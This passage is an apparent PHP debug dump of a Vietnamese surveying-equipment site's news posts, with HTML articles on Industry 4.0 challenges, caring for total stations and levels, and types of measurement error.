border-box;"> <h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1> </li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p> ', 'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-20', 'modified' => '2025-08-19', 'status' => '1', 'view' => '63417', 'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '941', 'rght' => '942', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '537', 'name' => 'Cách bảo quản thiết bị trắc địa đúng cách', 'code' => null, 'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br /> - Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br /> - Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br /> - Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br /> Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br /> - Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br /> - Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br /> - Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br /> - Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br /> - Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br /> - Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br /> - Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br /> - Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br /> <br /> Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br /> </span></span>', 'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-03', 'modified' => '2025-08-18', 'status' => '1', 'view' => '75066', 'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '939', 'rght' => '940', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '536', 'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo', 'code' => null, 'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 